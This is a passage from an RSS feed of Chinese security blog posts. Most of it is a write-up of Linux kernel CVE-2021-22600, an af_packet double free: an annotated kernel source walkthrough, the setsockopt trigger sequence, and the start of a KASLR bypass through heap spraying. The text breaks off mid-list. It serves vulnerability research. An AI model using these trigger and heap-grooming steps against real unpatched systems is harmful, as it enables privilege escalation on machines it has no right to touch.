26px;">该漏洞利用难点在于如何将漏洞从越界内存访问转化为 UAF，后续的利用过程和其他同类型漏洞大同小异。在利用过程中也得到了文章作者李双师傅的帮助，学习到了 Adobe 漏洞的利用技巧。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Adobe Reader 漏洞 CVE-2021-44711 利用浅析: <em><a href="https://vul.360.net/archives/434" target="_blank">https://vul.360.net/archives/434</a></em></p></span></section></section><p><br/></p>



<p><a href="2247485294">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c9c20ee6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247485294%26idx%3D1%26sn%3Dda82f99dcdc76010bce6addebf700352%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Sep 2022 16:41:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2021-22600 通过Modprobe_path及USMA进行漏洞利用与分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247485281&amp;idx=1&amp;sn=70d072ef11ee31e1a4cdc28888a7477f</link>
      <description>本次通过篡改modprobe_path及USMA两种利用方式进行提权</description>
      <content:encoded><![CDATA[<p>
原创 <span>knaithe</span> <span>2022-08-24 20:10</span> <span style="display: inline-block;">北京</span>
</p>

<p>本次通过篡改modprobe_path及USMA两种利用方式进行提权</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6f20ad0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSibljl73aYQaeWGS0ANEHiaFmzOfCaoTbGeGV13tuVOcA1LlPyWUSCDhalw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">漏洞描述</strong>：漏洞位于/net/packet/af_packet.c文件，rx_owner_map引用了pg_vec，切换到TPACKET_V3协议版本中，在packet_set_ring()函数的末尾，对pg_vec释放了一次，并未对rx_owner_map指针置为NULL，导致rx_owner_map成为悬空指针，直到从TPACKET_V3协议版本切换到TPACKET_V2协议版本后，在次到达packet_set_ring()函数的末尾，bitmap_free()函数对rx_owner_map指针进行释放，触发double free漏洞。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">影响版本</strong>：Linux Kernel v5.8.0 - v5.15.0</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">测试版本</strong>：Linux #5.13.0</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">保护机制</strong>：SMEP/SMAP/KASLR/KPTI</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>1.漏洞分析</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>1.1.AF_PACKET套接字协议族<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">协议简介：</strong> AF_PACKET是原始套接字协议，是一种特殊的套接字协议，可以是数据链路层原始套接字，也可以是网络层原始套接字。如果是数据链路层原始套接字，可以直接发送和接收位于数据链路层的以太帧，比如Ethernet II协议，如果是网络层原始套接字，就只能发送和接收位于网络层的数据报文，比如IP协议。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">快速使用：</strong>我们这里可以通过如下函数快速的创建一个 AF_PACKET协议的原始套接字：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过setsockopt就可以设置该套接字相关操作，比如设置当前AF_PACKET套接字协议版本为TPACKET_V3：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">int version = TPACKET_V3;<br/>setsockopt(s, SOL_PACKET, PACKET_VERSION, &amp;version, sizeof(version));<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">创建ring buffer：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">struct tpacket_req3 req3;<br/>memset(&amp;req3, 0, sizeof(req3));<br/>req3.tp_block_size = block_size;<br/>req3.tp_block_nr = block_nr;<br/>req3.tp_frame_size = frame_size;<br/>req3.tp_frame_nr = frame_nr;<br/>req3.tp_retire_blk_tov = retire_blk_tov;<br/>req3.tp_sizeof_priv = 0;<br/>req3.tp_feature_req_word = 0;<br/>setsockopt(recv_fd, SOL_PACKET, PACKET_RX_RING, &amp;req3, sizeof(req3));<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>1.2.漏洞触发<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">触发过程详解：</strong></p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">首先调用socket函数创建AF_PACKET套接字。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">然后调用setsockopt设置协议版本为TPACKET_V3。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">接着调用setsockopt设置RX_RING，正常给tpacket_req3配置参数，在执行packet_set_ring()函数过程中，pg_vec指向alloc_pg_vec()函数分配的内存，并且调用init_prb_bdqc函数，导致pg_vec被sock-&gt;rx_ring-&gt;prb_bdqc-&gt;pkbdq引用，然后调用swap函数将pg_vec和sock-&gt;rx_ring-&gt;pg_vec交换，函数最后pg_vec指向NULL，没有调用free。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">再次调用setsockopt设置RX_RING，将tpacket_req3参数的tp_block_nr和tp_frame_nr字段设置为0，然后调用swap函数将pg_vec和sock-&gt;rx_ring-&gt;pg_vec交换，此时sock-&gt;rx_ring-&gt;pg_vec为NULL，pg_vec指向上一步骤分配的内存，函数结尾调用free_pg_vec()释放pg_vec，此时packet_ring_buffer-&gt;prb_bdqc-&gt;pkbdq成为悬空指针。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">到此才可以再次调用setsockopt设置协议版本为TPACKET_V2，sock-&gt;rx_ring-&gt;pg_vec为NULL，所以该套接字切换协议TPACKET_V2成功。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">最后调用setsockopt设置RX_RING，此时tpacket_req参数的tp_block_nr字段必须为0，再次进入packet_set_ring()函数，由于已经是TPACKET_V2协议，所以调用了swap函数交换了rx_owner_map和sock-&gt;rx_ring-&gt;rx_owner_map，由于packet_ring_buffer结构体的rx_owner_map成员和tpacket_kbdq_core成员属于联合体，所以sock-&gt;rx_ring-&gt;rx_owner_map和sock-&gt;rx_ring-&gt;prb_bdqc-&gt;pkbdq的值相同，在第4步骤packet_ring_buffer-&gt;prb_bdqc-&gt;pkbdq成为悬空指针，所以在函数结尾调用bitmap_free(rx_owner_map)，等同于free掉sock-&gt;rx_ring-&gt;prb_bdqc-&gt;pkbdq这个悬空指针，造成double free。</section></li></ol><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">/net/packet/af_packet.c<br/>static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,<br/>  int closing, int tx_ring)<br/>{<br/> struct pgv *pg_vec = NULL;<br/> struct packet_sock *po = pkt_sk(sk);<br/> unsigned long *rx_owner_map = NULL;<br/> int was_running, order = 0;<br/> struct packet_ring_buffer *rb;<br/> struct sk_buff_head *rb_queue;<br/> __be16 num;<br/> int err;<br/> /* Added to avoid minimal code churn */<br/> struct tpacket_req *req = &amp;req_u-&gt;req;<br/> rb = tx_ring ? &amp;po-&gt;tx_ring : &amp;po-&gt;rx_ring;<br/> rb_queue = tx_ring ? &amp;sk-&gt;sk_write_queue : &amp;sk-&gt;sk_receive_queue;<br/> err = -EBUSY;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (!closing) {<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (atomic_read(&amp;po-&gt;mapped))<br/>   goto out;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (packet_read_pending(rb))<br/>   goto out;<br/> }<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (req-&gt;tp_block_nr) {   // 上述第4、6步，tp_block_nr字段必须为0，只允许步骤3进入<br/>  unsigned int min_frame_size;<br/>  /* Sanity tests and some calculations */<br/>  err = -EBUSY;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(rb-&gt;pg_vec))<br/>   goto out;<br/>  switch (po-&gt;tp_version) {<br/>  <span style="color: #c678dd;line-height: 26px;">case</span> TPACKET_V1:<br/>   po-&gt;tp_hdrlen = TPACKET_HDRLEN;<br/>   <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>  <span style="color: #c678dd;line-height: 26px;">case</span> TPACKET_V2:<br/>   po-&gt;tp_hdrlen = TPACKET2_HDRLEN; <br/>   <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>  <span style="color: #c678dd;line-height: 26px;">case</span> TPACKET_V3:<br/>   po-&gt;tp_hdrlen = TPACKET3_HDRLEN; //  TPACKET3_HDRLEN = 0x44<br/>   <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>  }<br/>  err = -EINVAL;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely((int)req-&gt;tp_block_size &lt;= 0))<br/>   goto out;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(!PAGE_ALIGNED(req-&gt;tp_block_size))) // 注意tp_block_size必须与PAGE_SIZE对齐<br/>   goto out;<br/>  min_frame_size = po-&gt;tp_hdrlen + po-&gt;tp_reserve;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (po-&gt;tp_version &gt;= TPACKET_V3 &amp;&amp;<br/>      req-&gt;tp_block_size &lt;<br/>      BLK_PLUS_PRIV((u64)req_u-&gt;req3.tp_sizeof_priv) + min_frame_size)<br/>   goto out;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(req-&gt;tp_frame_size &lt; min_frame_size))<br/>   goto out;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(req-&gt;tp_frame_size &amp; (TPACKET_ALIGNMENT - 1)))<br/>   goto out;<br/>  rb-&gt;frames_per_block = req-&gt;tp_block_size / req-&gt;tp_frame_size;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(rb-&gt;frames_per_block == 0))<br/>   goto out;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(rb-&gt;frames_per_block &gt; UINT_MAX / req-&gt;tp_block_nr))<br/>   goto out;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely((rb-&gt;frames_per_block * req-&gt;tp_block_nr) !=<br/>     req-&gt;tp_frame_nr))<br/>   goto out;<br/>  err = -ENOMEM;<br/>  order = get_order(req-&gt;tp_block_size);<br/>  pg_vec = alloc_pg_vec(req, order); // 步骤3进入pg_vec分配内存<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(!pg_vec))<br/>   goto out;<br/>  switch (po-&gt;tp_version) {<br/>  <span style="color: #c678dd;line-height: 26px;">case</span> TPACKET_V3:<br/>   /* Block transmit is not supported yet */<br/>   <span style="color: #c678dd;line-height: 26px;">if</span> (!tx_ring) {   //  只能是RX_RING<br/>    init_prb_bdqc(po, rb, pg_vec, req_u); // 步骤3 rb-&gt;prb_bdqc-&gt;pkbdq引用了pg_vec<br/>   } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>    struct tpacket_req3 *req3 = &amp;req_u-&gt;req3;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (req3-&gt;tp_retire_blk_tov ||<br/>        req3-&gt;tp_sizeof_priv ||<br/>        req3-&gt;tp_feature_req_word) {<br/>     err = -EINVAL;<br/>     goto out_free_pg_vec;<br/>    }<br/>   }<br/>   <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>  default:<br/>   <span style="color: #c678dd;line-height: 26px;">if</span> (!tx_ring) {<br/>    rx_owner_map = bitmap_alloc(req-&gt;tp_frame_nr,<br/>     GFP_KERNEL | __GFP_NOWARN | __GFP_ZERO);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (!rx_owner_map)<br/>     goto out_free_pg_vec;<br/>   }<br/>   <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>  }<br/> }<br/> /* Done */<br/> <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>  err = -EINVAL;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(req-&gt;tp_frame_nr))  // 上述第4、6步，tp_frame_nr字段必须为0，不能直接goto out <br/>   goto out;<br/> }<br/> /* Detach socket from network */<br/> spin_lock(&amp;po-&gt;bind_lock);<br/> was_running = po-&gt;running; //release调用时，此值为0<br/> num = po-&gt;num;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (was_running) {<br/>  WRITE_ONCE(po-&gt;num, 0);<br/>  __unregister_prot_hook(sk, <span style="color: #56b6c2;line-height: 26px;">false</span>);<br/> }<br/> spin_unlock(&amp;po-&gt;bind_lock);<br/> synchronize_net();<br/> err = -EBUSY;<br/> mutex_lock(&amp;po-&gt;pg_vec_lock);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (closing || atomic_read(&amp;po-&gt;mapped) == 0) {  // closing字段一直为0，但是po-&gt;mapped字段一直等于0<br/>  err = 0;<br/>  spin_lock_bh(&amp;rb_queue-&gt;lock);<br/>  swap(rb-&gt;pg_vec, pg_vec); // 步骤3 pg_vec和rb-&gt;pg_vec交换，pg_vec为NULL，步骤4被换回来<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (po-&gt;tp_version &lt;= TPACKET_V2) //  只有在上述第6步，协议版本才等于TPACKET_V2，才会进入<span style="color: #c678dd;line-height: 26px;">if</span><br/>   swap(rb-&gt;rx_owner_map, rx_owner_map); // 步骤6 rx_owner_map指向同rb-&gt;prb_bdqc-&gt;pkbdq<br/>  rb-&gt;frame_max = (req-&gt;tp_frame_nr - 1);<br/>  rb-&gt;head = 0;<br/>  rb-&gt;frame_size = req-&gt;tp_frame_size;<br/>  spin_unlock_bh(&amp;rb_queue-&gt;lock);<br/>  swap(rb-&gt;pg_vec_order, order);<br/>  swap(rb-&gt;pg_vec_len, req-&gt;tp_block_nr);<br/>  rb-&gt;pg_vec_pages = req-&gt;tp_block_size/PAGE_SIZE;<br/>  po-&gt;prot_hook.func = (po-&gt;rx_ring.pg_vec) ?<br/>      tpacket_rcv : packet_rcv;<br/>  skb_queue_purge(rb_queue);<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (atomic_read(&amp;po-&gt;mapped))<br/>   pr_err(<span style="color: #98c379;line-height: 26px;">&#34;packet_mmap: vma is busy: %d\n&#34;</span>,<br/>          atomic_read(&amp;po-&gt;mapped));<br/> }<br/> mutex_unlock(&amp;po-&gt;pg_vec_lock);<br/> spin_lock(&amp;po-&gt;bind_lock);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (was_running) {<br/>  WRITE_ONCE(po-&gt;num, num);<br/>  register_prot_hook(sk);<br/> }<br/> spin_unlock(&amp;po-&gt;bind_lock);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (pg_vec &amp;&amp; (po-&gt;tp_version &gt; TPACKET_V2)) {<br/>  /* Because we don<span style="color: #98c379;line-height: 26px;">&#39;t support block-based V3 on tx-ring */<br/>  if (!tx_ring)<br/>   prb_shutdown_retire_blk_timer(po, rb_queue);<br/> }<br/>out_free_pg_vec:<br/> bitmap_free(rx_owner_map);  // 步骤6 free掉rx_owner_map等于free rb-&gt;prb_bdqc-&gt;pkbdq，造成double free<br/> if (pg_vec)   // 步骤3由于pg_vec等于NULL为进入free,步骤4pg_vec不为NULL<br/>  free_pg_vec(pg_vec, order, req-&gt;tp_block_nr);  // 步骤4由于释放pg_vec，同时rb-&gt;prb_bdqc-&gt;pkbdq变为悬空指针<br/>out:<br/> return err;<br/>}<br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">上述步骤3中，进入init_prb_bdqc()函数增加了sock-&gt;rx_ring-&gt;prb_bdqc-&gt;pkbdq引用了pg_vec。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">/net/packet/af_packet.c<br/>static void init_prb_bdqc(struct packet_sock *po,<br/>   struct packet_ring_buffer *rb,<br/>   struct pgv *pg_vec,<br/>   union tpacket_req_u *req_u)<br/>{<br/> struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);<br/> struct tpacket_block_desc *pbd;<br/> memset(p1, 0x0, sizeof(*p1));<br/> p1-&gt;knxt_seq_num = 1;<br/> p1-&gt;pkbdq = pg_vec;   // 步骤3 sock-&gt;rx_ring-&gt;prb_bdqc-&gt;pkbdq引用了pg_vec，造成漏洞的关键行为<br/> pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;<br/> p1-&gt;pkblk_start = pg_vec[0].buffer;<br/> p1-&gt;kblk_size = req_u-&gt;req3.tp_block_size;<br/> p1-&gt;knum_blocks = req_u-&gt;req3.tp_block_nr;<br/> p1-&gt;hdrlen = po-&gt;tp_hdrlen;<br/> p1-&gt;version = po-&gt;tp_version;<br/> p1-&gt;last_kactive_blk_num = 0;<br/> po-&gt;stats.stats3.tp_freeze_q_cnt = 0;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (req_u-&gt;req3.tp_retire_blk_tov)<br/>  p1-&gt;retire_blk_tov = req_u-&gt;req3.tp_retire_blk_tov;<br/> <span style="color: #c678dd;line-height: 26px;">else</span><br/>  p1-&gt;retire_blk_tov = prb_calc_retire_blk_tmo(po,<br/>      req_u-&gt;req3.tp_block_size);<br/> p1-&gt;tov_in_jiffies = msecs_to_jiffies(p1-&gt;retire_blk_tov);<br/> p1-&gt;blk_sizeof_priv = req_u-&gt;req3.tp_sizeof_priv;<br/> rwlock_init(&amp;p1-&gt;blk_fill_in_prog_lock);<br/> p1-&gt;max_frame_len = p1-&gt;kblk_size - BLK_PLUS_PRIV(p1-&gt;blk_sizeof_priv);<br/> prb_init_ft_ops(p1, req_u);<br/> prb_setup_retire_blk_timer(po);<br/> prb_open_block(p1, pbd);<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">漏洞触发，引发panic：</p><img class="rich_pages wxw-img" data-ratio="1.009501187648456" style="display: block;margin: 0 auto;max-width: 100%;zoom: 150%;" data-type="png" data-w="842" src="https://wechat2rss.xlab.app/img-proxy/?k=fabe1d32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblOickSFMbicFXFeJ48tlXdvwjdxkRT7w8Y6DKXxiav6LenDOpicOpnjOXYw%2F640%3Fwx_fmt%3Dpng"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>2.漏洞利用</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>2.1.绕过KASLR<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">泄露内核地址思路：</strong>通过漏洞篡改msg_msg-&gt;m_ts成员，增大msg_msg消息大小，然后再读取该msg_msg，泄露邻近timerfd_ctx-&gt;tmr-&gt;function这个函数指针指向的timerfd_tmrproc内核函数地址来计算内核基地址，从而绕过KASLR。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">泄露内核地址详细步骤：</strong></p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">先耗尽kmalloc-256的per_cpu上的freelist里的空闲块，然后布局PAGE大小的dummy ringbuf；</p><img class="rich_pages wxw-img" data-ratio="4.2835820895522385" style="display: block;margin: 0 auto;max-width: 100%;zoom: 50%;" data-type="png" data-w="268" src="https://wechat2rss.xlab.app/img-proxy/?k=f3104fd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblNTPbRcEvANbiabMsj70gbIkFf4k4gbgNsZpraO6ibTXZHjot9mrhWGvg%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第一次堆喷，首先释放dummy ringbuf偶数下标的ringbuf，让这些free掉的PAGE都返还给伙伴系统的order-0。然后再用pg_vec去堆喷kmalloc-256的slab，并从伙伴系统的order-0取出PAGE分成16个kmalloc-256给pg_vec；</p><img class="rich_pages wxw-img" data-ratio="1.480503144654088" style="display: block;margin: 0 auto;max-width: 100%;zoom: 50%;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=c2be1bf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblSGSDEag5eCls7I6mHvZfIDrmTlWz8KyMFsv3DpFpzZ5omF4eUbCqCQ%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第二次堆喷，释放dummy ringbuf奇数下标的ringbuf，让这些free掉的PAGE都返还给伙伴系统的order-0。然后用timerfd_ctx去喷kmalloc-256的slab，并从伙伴系统的order-0取刚刚归还的PAGE分成16个kmalloc-256给timerfd_ctx；</p><img class="rich_pages wxw-img" style="display: block;margin: 0px auto;max-width: 100%;zoom: 50%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=64c7e941&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSibluKwnftoDPzpGFiawdknm4QmXUhQLcEY1tzaG27UkMkbINaSGz7yvmoQ%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: 